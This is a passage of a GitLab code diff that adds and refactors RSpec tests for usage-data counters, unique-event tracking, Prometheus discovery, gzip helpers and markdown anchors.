+ expect(track_event(event_action: :pushed, event_target: project, author_id: 2)).to be_truthy
+ expect(track_event(event_action: :pushed, event_target: project, author_id: 3)).to be_truthy
+ expect(track_event(event_action: :pushed, event_target: project, author_id: 4, time: time - 3.days)).to be_truthy
+
+ expect(track_event(event_action: :destroyed, event_target: design, author_id: 3)).to be_truthy
+ expect(track_event(event_action: :created, event_target: design, author_id: 4)).to be_truthy
+ expect(track_event(event_action: :updated, event_target: design, author_id: 5)).to be_truthy
+
+ expect(track_event(event_action: :destroyed, event_target: wiki, author_id: 5)).to be_truthy
+ expect(track_event(event_action: :created, event_target: wiki, author_id: 3)).to be_truthy
+ expect(track_event(event_action: :updated, event_target: wiki, author_id: 4)).to be_truthy
+
+ expect(count_unique(event_action: described_class::PUSH_ACTION, date_from: time, date_to: Date.today)).to eq(3)
+ expect(count_unique(event_action: described_class::PUSH_ACTION, date_from: time - 5.days, date_to: Date.tomorrow)).to eq(4)
+ expect(count_unique(event_action: described_class::DESIGN_ACTION, date_from: time - 5.days, date_to: Date.today)).to eq(3)
+ expect(count_unique(event_action: described_class::WIKI_ACTION, date_from: time - 5.days, date_to: Date.today)).to eq(3)
+ expect(count_unique(event_action: described_class::PUSH_ACTION, date_from: time - 5.days, date_to: time - 2.days)).to eq(1)
+ end
+ end
+ end
+ end
+
+ context 'when tracking unsuccessfully' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:target, :action) do
+ Project | :invalid_action
+ :invalid_target | :pushed
+ Project | :created
+ end
+
+ with_them do
+ it 'returns the expected values' do
+ expect(track_event(event_action: action, event_target: target, author_id: 2)).to be_nil
+ expect(count_unique(event_action: described_class::PUSH_ACTION, date_from: time, date_to: Date.today)).to eq(0)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_queries_spec.rb b/spec/lib/gitlab/usage_data_queries_spec.rb
new file mode 100644
index 00000000000..7fc77593265
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_queries_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataQueries do
+ before do
+ allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(false)
+ end
+
+ describe '.count' do
+ it 'returns the raw SQL' do
+ expect(described_class.count(User)).to start_with('SELECT COUNT("users"."id") FROM "users"')
+ end
+ end
+
+ describe '.distinct_count' do
+ it 'returns the raw SQL' do
+ expect(described_class.distinct_count(Issue, :author_id)).to eq('SELECT COUNT(DISTINCT "issues"."author_id") FROM "issues"')
+ end
+ end
+
+ describe '.redis_usage_data' do
+ subject(:redis_usage_data) { described_class.redis_usage_data { 42 } }
+
+ it 'returns a class for redis_usage_data with a counter call' do
+ expect(described_class.redis_usage_data(Gitlab::UsageDataCounters::WikiPageCounter))
+ .to eq(redis_usage_data_counter: Gitlab::UsageDataCounters::WikiPageCounter)
+ end
+
+ it 'returns a stringified block for redis_usage_data with a block' do
+ is_expected.to include(:redis_usage_data_block)
+ expect(redis_usage_data[:redis_usage_data_block]).to start_with('#<Proc:')
+ end
+ end
+
+ describe '.sum' do
+ it 'returns the raw SQL' do
+ expect(described_class.sum(Issue, :weight)).to eq('SELECT SUM("issues"."weight") FROM "issues"')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_spec.rb b/spec/lib/gitlab/usage_data_spec.rb
index 3be8a770b2b..6631a0d3cc6 100644
--- a/spec/lib/gitlab/usage_data_spec.rb
+++ b/spec/lib/gitlab/usage_data_spec.rb
@@ -12,19 +12,20 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
describe '.uncached_data' do
describe '.usage_activity_by_stage' do
- it 'includes usage_activity_by_stage data' do
- uncached_data = described_class.uncached_data
+ subject { described_class.uncached_data }
- expect(uncached_data).to include(:usage_activity_by_stage)
- expect(uncached_data).to include(:usage_activity_by_stage_monthly)
- expect(uncached_data[:usage_activity_by_stage])
+ it 'includes usage_activity_by_stage data' do
+ is_expected.to include(:usage_activity_by_stage)
+ is_expected.to include(:usage_activity_by_stage_monthly)
+ expect(subject[:usage_activity_by_stage])
.to include(:configure, :create, :manage, :monitor, :plan, :release, :verify)
- expect(uncached_data[:usage_activity_by_stage_monthly])
+ expect(subject[:usage_activity_by_stage_monthly])
.to include(:configure, :create, :manage, :monitor, :plan, :release, :verify)
end
it 'clears memoized values' do
values = %i(issue_minimum_id issue_maximum_id
+ project_minimum_id project_maximum_id
user_minimum_id user_maximum_id unique_visit_service
deployment_minimum_id deployment_maximum_id
approval_merge_request_rule_minimum_id
@@ -33,15 +34,13 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(described_class).to receive(:clear_memoization).with(key)
end
- described_class.uncached_data
+ subject
end
it 'merge_requests_users is included only in montly counters' do
- uncached_data = described_class.uncached_data
-
- expect(uncached_data[:usage_activity_by_stage][:create])
+ expect(subject[:usage_activity_by_stage][:create])
.not_to include(:merge_requests_users)
- expect(uncached_data[:usage_activity_by_stage_monthly][:create])
+ expect(subject[:usage_activity_by_stage_monthly][:create])
.to include(:merge_requests_users)
end
end
@@ -56,6 +55,21 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
+ describe 'usage_activity_by_stage_package' do
+ it 'includes accurate usage_activity_by_stage data' do
+ for_defined_days_back do
+ create(:project, packages: [create(:package)] )
+ end
+
+ expect(described_class.usage_activity_by_stage_package({})).to eq(
+ projects_with_packages: 2
+ )
+ expect(described_class.usage_activity_by_stage_package(described_class.last_28_days_time_period)).to eq(
+ projects_with_packages: 1
+ )
+ end
+ end
+
describe '.usage_activity_by_stage_configure' do
it 'includes accurate usage_activity_by_stage data' do
for_defined_days_back do
@@ -178,6 +192,58 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
)
end
+ it 'includes imports usage data' do
+ for_defined_days_back do
+ user = create(:user)
+
+ %w(gitlab_project gitlab github bitbucket bitbucket_server gitea git manifest fogbugz phabricator).each do |type|
+ create(:project, import_type: type, creator_id: user.id)
+ end
+
+ jira_project = create(:project, creator_id: user.id)
+ create(:jira_import_state, :finished, project: jira_project)
+ end
+
+ expect(described_class.usage_activity_by_stage_manage({})).to include(
+ {
+ projects_imported: {
+ gitlab_project: 2,
+ gitlab: 2,
+ github: 2,
+ bitbucket: 2,
+ bitbucket_server: 2,
+ gitea: 2,
+ git: 2,
+ manifest: 2
+ },
+ issues_imported: {
+ jira: 2,
+ fogbugz: 2,
+ phabricator: 2
+ }
+ }
+ )
+ expect(described_class.usage_activity_by_stage_manage(described_class.last_28_days_time_period)).to include(
+ {
+ projects_imported: {
+ gitlab_project: 1,
+ gitlab: 1,
+ github: 1,
+ bitbucket: 1,
+ bitbucket_server: 1,
+ gitea: 1,
+ git: 1,
+ manifest: 1
+ },
+ issues_imported: {
+ jira: 1,
+ fogbugz: 1,
+ phabricator: 1
+ }
+ }
+ )
+ end
+
def omniauth_providers
[
OpenStruct.new(name: 'google_oauth2'),
@@ -218,6 +284,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
create(:issue, project: project, author: User.support_bot)
create(:note, project: project, noteable: issue, author: user)
create(:todo, project: project, target: issue, author: user)
+ create(:jira_service, :jira_cloud_service, active: true, project: create(:project, :jira_dvcs_cloud, creator: user))
+ create(:jira_service, active: true, project: create(:project, :jira_dvcs_server, creator: user))
end
expect(described_class.usage_activity_by_stage_plan({})).to include(
@@ -226,7 +294,10 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
projects: 2,
todos: 2,
service_desk_enabled_projects: 2,
- service_desk_issues: 2
+ service_desk_issues: 2,
+ projects_jira_active: 2,
+ projects_jira_dvcs_cloud_active: 2,
+ projects_jira_dvcs_server_active: 2
)
expect(described_class.usage_activity_by_stage_plan(described_class.last_28_days_time_period)).to include(
issues: 2,
@@ -234,7 +305,10 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
projects: 1,
todos: 1,
service_desk_enabled_projects: 1,
- service_desk_issues: 1
+ service_desk_issues: 1,
+ projects_jira_active: 1,
+ projects_jira_dvcs_cloud_active: 1,
+ projects_jira_dvcs_server_active: 1
)
end
end
@@ -325,10 +399,6 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(UsageDataHelpers::COUNTS_KEYS - count_data.keys).to be_empty
end
- it 'gathers usage counts monthly hash' do
- expect(subject[:counts_monthly]).to be_an(Hash)
- end
-
it 'gathers usage counts correctly' do
count_data = subject[:counts]
@@ -392,6 +462,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(count_data[:clusters_applications_jupyter]).to eq(1)
expect(count_data[:clusters_applications_cilium]).to eq(1)
expect(count_data[:clusters_management_project]).to eq(1)
+ expect(count_data[:kubernetes_agents]).to eq(2)
+ expect(count_data[:kubernetes_agents_with_token]).to eq(1)
expect(count_data[:deployments]).to eq(4)
expect(count_data[:successful_deployments]).to eq(2)
@@ -399,6 +471,9 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(count_data[:snippets]).to eq(6)
expect(count_data[:personal_snippets]).to eq(2)
expect(count_data[:project_snippets]).to eq(4)
+
+ expect(count_data[:projects_with_packages]).to eq(2)
+ expect(count_data[:packages]).to eq(4)
end
it 'gathers object store usage correctly' do
@@ -411,10 +486,6 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
)
end
- it 'gathers topology data' do
- expect(subject.keys).to include(:topology)
- end
-
context 'with existing container expiration policies' do
let_it_be(:disabled) { create(:container_expiration_policy, enabled: false) }
let_it_be(:enabled) { create(:container_expiration_policy, enabled: true) }
@@ -491,9 +562,16 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(counts_monthly[:snippets]).to eq(3)
expect(counts_monthly[:personal_snippets]).to eq(1)
expect(counts_monthly[:project_snippets]).to eq(2)
+ expect(counts_monthly[:packages]).to eq(3)
end
end
+ describe '.usage_counters' do
+ subject { described_class.usage_counters }
+
+ it { is_expected.to include(:kubernetes_agent_gitops_sync) }
+ end
+
describe '.usage_data_counters' do
subject { described_class.usage_data_counters }
@@ -592,6 +670,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
expect(subject[:git][:version]).to eq(Gitlab::Git.version)
expect(subject[:database][:adapter]).to eq(Gitlab::Database.adapter_name)
expect(subject[:database][:version]).to eq(Gitlab::Database.version)
+ expect(subject[:mail][:smtp_server]).to eq(ActionMailer::Base.smtp_settings[:address])
expect(subject[:gitaly][:version]).to be_present
expect(subject[:gitaly][:servers]).to be >= 1
expect(subject[:gitaly][:clusters]).to be >= 0
@@ -878,24 +957,25 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
- describe '.merge_requests_users' do
- let(:time_period) { { created_at: 2.days.ago..Time.current } }
- let(:merge_request) { create(:merge_request) }
- let(:other_user) { create(:user) }
- let(:another_user) { create(:user) }
+ describe '.merge_requests_users', :clean_gitlab_redis_shared_state do
+ let(:time_period) { { created_at: 2.days.ago..time } }
+ let(:time) { Time.current }
before do
- create(:event, target: merge_request, author: merge_request.author, created_at: 1.day.ago)
- create(:event, target: merge_request, author: merge_request.author, created_at: 1.hour.ago)
- create(:event, target: merge_request, author: merge_request.author, created_at: 3.days.ago)
- create(:event, target: merge_request, author: other_user, created_at: 1.day.ago)
- create(:event, target: merge_request, author: other_user, created_at: 1.hour.ago)
- create(:event, target: merge_request, author: other_user, created_at: 3.days.ago)
- create(:event, target: merge_request, author: another_user, created_at: 4.days.ago)
+ counter = Gitlab::UsageDataCounters::TrackUniqueEvents
+ merge_request = Event::TARGET_TYPES[:merge_request]
+ design = Event::TARGET_TYPES[:design]
+
+ counter.track_event(event_action: :commented, event_target: merge_request, author_id: 1, time: time)
+ counter.track_event(event_action: :opened, event_target: merge_request, author_id: 1, time: time)
+ counter.track_event(event_action: :merged, event_target: merge_request, author_id: 2, time: time)
+ counter.track_event(event_action: :closed, event_target: merge_request, author_id: 3, time: time)
+ counter.track_event(event_action: :opened, event_target: merge_request, author_id: 4, time: time - 3.days)
+ counter.track_event(event_action: :created, event_target: design, author_id: 5, time: time)
end
it 'returns the distinct count of users using merge requests (via events table) within the specified time period' do
- expect(described_class.merge_requests_users(time_period)).to eq(2)
+ expect(described_class.merge_requests_users(time_period)).to eq(3)
end
end
@@ -910,9 +990,12 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
describe '#action_monthly_active_users', :clean_gitlab_redis_shared_state do
let(:time_period) { { created_at: 2.days.ago..time } }
let(:time) { Time.zone.now }
+ let(:user1) { build(:user, id: 1) }
+ let(:user2) { build(:user, id: 2) }
+ let(:user3) { build(:user, id: 3) }
before do
- counter = Gitlab::UsageDataCounters::TrackUniqueActions
+ counter = Gitlab::UsageDataCounters::TrackUniqueEvents
project = Event::TARGET_TYPES[:project]
wiki = Event::TARGET_TYPES[:wiki]
design = Event::TARGET_TYPES[:design]
@@ -922,9 +1005,22 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
counter.track_event(event_action: :pushed, event_target: project, author_id: 2)
counter.track_event(event_action: :pushed, event_target: project, author_id: 3)
counter.track_event(event_action: :pushed, event_target: project, author_id: 4, time: time - 3.days)
- counter.track_event(event_action: :created, event_target: project, author_id: 5, time: time - 3.days)
counter.track_event(event_action: :created, event_target: wiki, author_id: 3)
counter.track_event(event_action: :created, event_target: design, author_id: 3)
+
+ counter = Gitlab::UsageDataCounters::EditorUniqueCounter
+
+ counter.track_web_ide_edit_action(author: user1)
+ counter.track_web_ide_edit_action(author: user1)
+ counter.track_sfe_edit_action(author: user1)
+ counter.track_snippet_editor_edit_action(author: user1)
+ counter.track_snippet_editor_edit_action(author: user1, time: time - 3.days)
+
+ counter.track_web_ide_edit_action(author: user2)
+ counter.track_sfe_edit_action(author: user2)
+
+ counter.track_web_ide_edit_action(author: user3, time: time - 3.days)
+ counter.track_snippet_editor_edit_action(author: user3)
end
it 'returns the distinct count of user actions within the specified time period' do
@@ -932,7 +1028,11 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
{
action_monthly_active_users_design_management: 1,
action_monthly_active_users_project_repo: 3,
- action_monthly_active_users_wiki_repo: 1
+ action_monthly_active_users_wiki_repo: 1,
+ action_monthly_active_users_web_ide_edit: 2,
+ action_monthly_active_users_sfe_edit: 2,
+ action_monthly_active_users_snippet_editor_edit: 2,
+ action_monthly_active_users_ide_edit: 3
}
)
end
@@ -942,8 +1042,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
subject { described_class.analytics_unique_visits_data }
it 'returns the number of unique visits to pages with analytics features' do
- ::Gitlab::Analytics::UniqueVisits.analytics_ids.each do |target_id|
- expect_any_instance_of(::Gitlab::Analytics::UniqueVisits).to receive(:unique_visits_for).with(targets: target_id).and_return(123)
+ ::Gitlab::Analytics::UniqueVisits.analytics_events.each do |target|
+ expect_any_instance_of(::Gitlab::Analytics::UniqueVisits).to receive(:unique_visits_for).with(targets: target).and_return(123)
end
expect_any_instance_of(::Gitlab::Analytics::UniqueVisits).to receive(:unique_visits_for).with(targets: :analytics).and_return(543)
@@ -964,6 +1064,9 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
'p_analytics_repo' => 123,
'i_analytics_cohorts' => 123,
'i_analytics_dev_ops_score' => 123,
+ 'i_analytics_instance_statistics' => 123,
+ 'p_analytics_merge_request' => 123,
+ 'g_analytics_merge_request' => 123,
'analytics_unique_visits_for_any_target' => 543,
'analytics_unique_visits_for_any_target_monthly' => 987
}
@@ -978,8 +1081,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
described_class.clear_memoization(:unique_visit_service)
allow_next_instance_of(::Gitlab::Analytics::UniqueVisits) do |instance|
- ::Gitlab::Analytics::UniqueVisits.compliance_ids.each do |target_id|
- allow(instance).to receive(:unique_visits_for).with(targets: target_id).and_return(123)
+ ::Gitlab::Analytics::UniqueVisits.compliance_events.each do |target|
+ allow(instance).to receive(:unique_visits_for).with(targets: target).and_return(123)
end
allow(instance).to receive(:unique_visits_for).with(targets: :compliance).and_return(543)
@@ -995,6 +1098,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
'g_compliance_audit_events' => 123,
'i_compliance_credential_inventory' => 123,
'i_compliance_audit_events' => 123,
+ 'a_compliance_audit_events_api' => 123,
'compliance_unique_visits_for_any_target' => 543,
'compliance_unique_visits_for_any_target_monthly' => 987
}
@@ -1002,6 +1106,55 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
+ describe '.search_unique_visits_data' do
+ subject { described_class.search_unique_visits_data }
+
+ before do
+ described_class.clear_memoization(:unique_visit_service)
+ events = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category('search')
+ events.each do |event|
+ allow(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:unique_events).with(event_names: event, start_date: 7.days.ago.to_date, end_date: Date.current).and_return(123)
+ end
+ allow(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:unique_events).with(event_names: events, start_date: 7.days.ago.to_date, end_date: Date.current).and_return(543)
+ allow(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:unique_events).with(event_names: events, start_date: 4.weeks.ago.to_date, end_date: Date.current).and_return(987)
+ end
+
+ it 'returns the number of unique visits to pages with search features' do
+ expect(subject).to eq({
+ search_unique_visits: {
+ 'i_search_total' => 123,
+ 'i_search_advanced' => 123,
+ 'i_search_paid' => 123,
+ 'search_unique_visits_for_any_target_weekly' => 543,
+ 'search_unique_visits_for_any_target_monthly' => 987
+ }
+ })
+ end
+ end
+
+ describe 'redis_hll_counters' do
+ subject { described_class.redis_hll_counters }
+
+ let(:categories) { ::Gitlab::UsageDataCounters::HLLRedisCounter.categories }
+ let(:ineligible_total_categories) { ['source_code'] }
+
+ it 'has all know_events' do
+ expect(subject).to have_key(:redis_hll_counters)
+
+ expect(subject[:redis_hll_counters].keys).to match_array(categories)
+
+ categories.each do |category|
+ keys = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(category)
+
+ if ineligible_total_categories.exclude?(category)
+ keys.append("#{category}_total_unique_counts_weekly", "#{category}_total_unique_counts_monthly")
+ end
+
+ expect(subject[:redis_hll_counters][category].keys).to match_array(keys)
+ end
+ end
+ end
+
describe '.service_desk_counts' do
subject { described_class.send(:service_desk_counts) }
@@ -1014,4 +1167,46 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
service_desk_issues: 2)
end
end
+
+ describe '.snowplow_event_counts' do
+ context 'when self-monitoring project exists' do
+ let_it_be(:project) { create(:project) }
+
+ before do
+ stub_application_setting(self_monitoring_project: project)
+ end
+
+ context 'and product_analytics FF is enabled for it' do
+ before do
+ stub_feature_flags(product_analytics: project)
+
+ create(:product_analytics_event, project: project, se_category: 'epics', se_action: 'promote')
+ create(:product_analytics_event, project: project, se_category: 'epics', se_action: 'promote', collector_tstamp: 28.days.ago)
+ end
+
+ it 'returns promoted_issues for the time period' do
+ expect(described_class.snowplow_event_counts[:promoted_issues]).to eq(2)
+ expect(described_class.snowplow_event_counts(
+ time_period: described_class.last_28_days_time_period(column: :collector_tstamp)
+ )[:promoted_issues]).to eq(1)
+ end
+ end
+
+ context 'and product_analytics FF is disabled' do
+ before do
+ stub_feature_flags(product_analytics: false)
+ end
+
+ it 'returns an empty hash' do
+ expect(described_class.snowplow_event_counts).to eq({})
+ end
+ end
+ end
+
+ context 'when self-monitoring project does not exist' do
+ it 'returns an empty hash' do
+ expect(described_class.snowplow_event_counts).to eq({})
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/utils/gzip_spec.rb b/spec/lib/gitlab/utils/gzip_spec.rb
new file mode 100644
index 00000000000..5d1c62e03d3
--- /dev/null
+++ b/spec/lib/gitlab/utils/gzip_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Gitlab::Utils::Gzip do
+ before do
+ example_class = Class.new do
+ include Gitlab::Utils::Gzip
+
+ def lorem_ipsum
+ "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod "\
+ "tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim "\
+ "veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea "\
+ "commodo consequat. Duis aute irure dolor in reprehenderit in voluptate "\
+ "velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat "\
+ "cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id "\
+ "est laborum."
+ end
+ end
+
+ stub_const('ExampleClass', example_class)
+ end
+
+ subject { ExampleClass.new }
+
+ let(:sample_string) { subject.lorem_ipsum }
+ let(:compressed_string) { subject.gzip_compress(sample_string) }
+
+ describe "#gzip_compress" do
+ it "compresses data passed to it" do
+ expect(compressed_string.length).to be < sample_string.length
+ end
+
+ it "returns uncompressed data when encountering Zlib::GzipFile::Error" do
+ expect(ActiveSupport::Gzip).to receive(:compress).and_raise(Zlib::GzipFile::Error)
+
+ expect(compressed_string.length).to eq sample_string.length
+ end
+ end
+
+ describe "#gzip_decompress" do
+ let(:decompressed_string) { subject.gzip_decompress(compressed_string) }
+
+ it "decompresses encoded data" do
+ expect(decompressed_string).to eq sample_string
+ end
+
+ it "returns compressed data when encountering Zlib::GzipFile::Error" do
+ expect(ActiveSupport::Gzip).to receive(:decompress).and_raise(Zlib::GzipFile::Error)
+
+ expect(decompressed_string).not_to eq sample_string.length
+ end
+
+ it "returns unmodified data when it is determined to be uncompressed" do
+ expect(subject.gzip_decompress(sample_string)).to eq sample_string
+ end
+ end
+end
diff --git a/spec/lib/gitlab/utils/markdown_spec.rb b/spec/lib/gitlab/utils/markdown_spec.rb
index 001ff5bc487..93d91f7ed90 100644
--- a/spec/lib/gitlab/utils/markdown_spec.rb
+++ b/spec/lib/gitlab/utils/markdown_spec.rb
@@ -52,6 +52,38 @@ RSpec.describe Gitlab::Utils::Markdown do
end
end
+ context 'when string has a product suffix' do
+ let(:string) { 'My Header (ULTIMATE)' }
+
+ it 'ignores a product suffix' do
+ is_expected.to eq 'my-header'
+ end
+
+ context 'with only modifier' do
+ let(:string) { 'My Header (STARTER ONLY)' }
+
+ it 'ignores a product suffix' do
+ is_expected.to eq 'my-header'
+ end
+ end
+
+ context 'with "*" around a product suffix' do
+ let(:string) { 'My Header **(STARTER)**' }
+
+ it 'ignores a product suffix' do
+ is_expected.to eq 'my-header'
+ end
+ end
+
+ context 'with "*" around a product suffix and only modifier' do
+ let(:string) { 'My Header **(STARTER ONLY)**' }
+
+ it 'ignores a product suffix' do
+ is_expected.to eq 'my-header'
+ end
+ end
+ end
+
context 'when string is empty' do
let(:string) { '' }
diff --git a/spec/lib/gitlab/utils/usage_data_spec.rb b/spec/lib/gitlab/utils/usage_data_spec.rb
index 4675cbd7fa1..362cbaa78e9 100644
--- a/spec/lib/gitlab/utils/usage_data_spec.rb
+++ b/spec/lib/gitlab/utils/usage_data_spec.rb
@@ -37,6 +37,28 @@ RSpec.describe Gitlab::Utils::UsageData do
end
end
+ describe '#sum' do
+ let(:relation) { double(:relation) }
+
+ it 'returns the count when counting succeeds' do
+ allow(Gitlab::Database::BatchCount)
+ .to receive(:batch_sum)
+ .with(relation, :column, batch_size: 100, start: 2, finish: 3)
+ .and_return(1)
+
+ expect(described_class.sum(relation, :column, batch_size: 100, start: 2, finish: 3)).to eq(1)
+ end
+
+ it 'returns the fallback value when counting fails' do
+ stub_const("Gitlab::Utils::UsageData::FALLBACK", 15)
+ allow(Gitlab::Database::BatchCount)
+ .to receive(:batch_sum)
+ .and_raise(ActiveRecord::StatementInvalid.new(''))
+
+ expect(described_class.sum(relation, :column)).to eq(15)
+ end
+ end
+
describe '#alt_usage_data' do
it 'returns the fallback when it gets an error' do
expect(described_class.alt_usage_data { raise StandardError } ).to eq(-1)
@@ -76,26 +98,19 @@ RSpec.describe Gitlab::Utils::UsageData do
end
describe '#with_prometheus_client' do
- context 'when Prometheus is enabled' do
+ shared_examples 'query data from Prometheus' do
it 'yields a client instance and returns the block result' do
- expect(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(true)
- expect(Gitlab::Prometheus::Internal).to receive(:uri).and_return('http://prom:9090')
-
result = described_class.with_prometheus_client { |client| client }
expect(result).to be_an_instance_of(Gitlab::PrometheusClient)
end
end
- context 'when Prometheus is disabled' do
- before do
- expect(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(false)
- end
-
+ shared_examples 'does not query data from Prometheus' do
it 'returns nil by default' do
result = described_class.with_prometheus_client { |client| client }
- expect(result).to be nil
+ expect(result).to be_nil
end
it 'returns fallback if provided' do
@@ -104,6 +119,74 @@ RSpec.describe Gitlab::Utils::UsageData do
expect(result).to eq([])
end
end
+
+ shared_examples 'try to query Prometheus with given address' do
+ context 'Prometheus is ready' do
+ before do
+ stub_request(:get, /\/-\/ready/)
+ .to_return(status: 200, body: 'Prometheus is Ready.\n')
+ end
+
+ context 'Prometheus is reachable through HTTPS' do
+ it_behaves_like 'query data from Prometheus'
+ end
+
+ context 'Prometheus is not reachable through HTTPS' do
+ before do
+ stub_request(:get, /https:\/\/.*/).to_raise(Errno::ECONNREFUSED)
+ end
+
+ context 'Prometheus is reachable through HTTP' do
+ it_behaves_like 'query data from Prometheus'
+ end
+
+ context 'Prometheus is not reachable through HTTP' do
+ before do
+ stub_request(:get, /http:\/\/.*/).to_raise(Errno::ECONNREFUSED)
+ end
+
+ it_behaves_like 'does not query data from Prometheus'
+ end
+ end
+ end
+
+ context 'Prometheus is not ready' do
+ before do
+ stub_request(:get, /\/-\/ready/)
+ .to_return(status: 503, body: 'Service Unavailable')
+ end
+
+ it_behaves_like 'does not query data from Prometheus'
+ end
+ end
+
+ context 'when Prometheus server address is available from settings' do
+ before do
+ expect(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(true)
+ expect(Gitlab::Prometheus::Internal).to receive(:server_address).and_return('prom:9090')
+ end
+
+ it_behaves_like 'try to query Prometheus with given address'
+ end
+
+ context 'when Prometheus server address is available from Consul service discovery' do
+ before do
+ expect(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(false)
+ expect(Gitlab::Consul::Internal).to receive(:api_url).and_return('http://localhost:8500')
+ expect(Gitlab::Consul::Internal).to receive(:discover_prometheus_server_address).and_return('prom:9090')
+ end
+
+ it_behaves_like 'try to query Prometheus with given address'
+ end
+
+ context 'when Prometheus server address is not available' do
+ before do
+ expect(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(false)
+ expect(Gitlab::Consul::Internal).to receive(:api_url).and_return(nil)
+ end
+
+ it_behaves_like 'does not query data from Prometheus'
+ end
end
describe '#measure_duration' do
@@ -126,4 +209,50 @@ RSpec.describe Gitlab::Utils::UsageData do
end
end
end
+
+ describe '#track_usage_event' do
+ let(:value) { '9f302fea-f828-4ca9-aef4-e10bd723c0b3' }
+ let(:event_name) { 'my_event' }
+ let(:unknown_event) { 'unknown' }
+ let(:feature) { "usage_data_#{event_name}" }
+
+ context 'with feature enabled' do
+ before do
+ stub_feature_flags(feature => true)
+ end
+
+ it 'tracks redis hll event' do
+ stub_application_setting(usage_ping_enabled: true)
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(value, event_name)
+
+ described_class.track_usage_event(event_name, value)
+ end
+
+ it 'does not track event when usage ping is not enabled' do
+ stub_application_setting(usage_ping_enabled: false)
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ described_class.track_usage_event(event_name, value)
+ end
+
+ it 'raise an error for unknown event' do
+ stub_application_setting(usage_ping_enabled: true)
+
+ expect { described_class.track_usage_event(unknown_event, value) }.to raise_error(Gitlab::UsageDataCounters::HLLRedisCounter::UnknownEvent)
+ end
+ end
+
+ context 'with feature disabled' do
+ before do
+ stub_feature_flags(feature => false)
+ end
+
+ it 'does not track event' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ described_class.track_usage_event(event_name, value)
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/web_ide/config/entry/global_spec.rb b/spec/lib/gitlab/web_ide/config/entry/global_spec.rb
index 3a50667163b..3e29bf89785 100644
--- a/spec/lib/gitlab/web_ide/config/entry/global_spec.rb
+++ b/spec/lib/gitlab/web_ide/config/entry/global_spec.rb
@@ -12,8 +12,7 @@ RSpec.describe Gitlab::WebIde::Config::Entry::Global do
context 'when filtering all the entry/node names' do
it 'contains the expected node names' do
- expect(described_class.nodes.keys)
- .to match_array(%i[terminal])
+ expect(described_class.nodes.keys).to match_array(described_class.allowed_keys)
end
end
end
@@ -34,7 +33,7 @@ RSpec.describe Gitlab::WebIde::Config::Entry::Global do
end
it 'creates node object for each entry' do
- expect(global.descendants.count).to eq 1
+ expect(global.descendants.count).to eq described_class.allowed_keys.length
end
it 'creates node object using valid class' do
diff --git a/spec/lib/gitlab/workhorse_spec.rb b/spec/lib/gitlab/workhorse_spec.rb
index da327ce7706..e9733851590 100644
--- a/spec/lib/gitlab/workhorse_spec.rb
+++ b/spec/lib/gitlab/workhorse_spec.rb
@@ -71,7 +71,7 @@ RSpec.describe Gitlab::Workhorse do
context "when the repository doesn't have an archive file path" do
before do
- allow(project.repository).to receive(:archive_metadata).and_return(Hash.new)
+ allow(project.repository).to receive(:archive_metadata).and_return({})
end
it "raises an error" do
@@ -424,8 +424,9 @@ RSpec.describe Gitlab::Workhorse do
describe '.send_scaled_image' do
let(:location) { 'http://example.com/avatar.png' }
let(:width) { '150' }
+ let(:content_type) { 'image/png' }
- subject { described_class.send_scaled_image(location, width) }
+ subject { described_class.send_scaled_image(location, width, content_type) }
it 'sets the header correctly' do
key, command, params = decode_workhorse_header(subject)
